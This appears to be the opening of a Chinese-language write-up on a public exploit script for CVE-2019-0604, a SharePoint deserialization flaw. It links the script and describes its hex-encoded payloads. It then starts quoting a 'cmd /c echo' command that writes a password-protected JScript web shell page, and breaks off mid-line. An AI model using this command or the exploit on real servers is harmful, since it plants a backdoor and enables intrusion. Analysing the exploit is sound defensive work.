CVE-2019-0604

一、解说k8gege的cve-2019-0604-exp.py k8gege的脚本 https://github.com/k8gege/CVE-2019-0604 老实说k8gege的py脚本有点花哨，一大堆的16进制字符串，分成 payload1,2,3, 好坏呀 python脚本远程post的payload,反序列化之后是一个xml数据体 root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var uastr=Request.UserAgent;if uastr.Substring0,...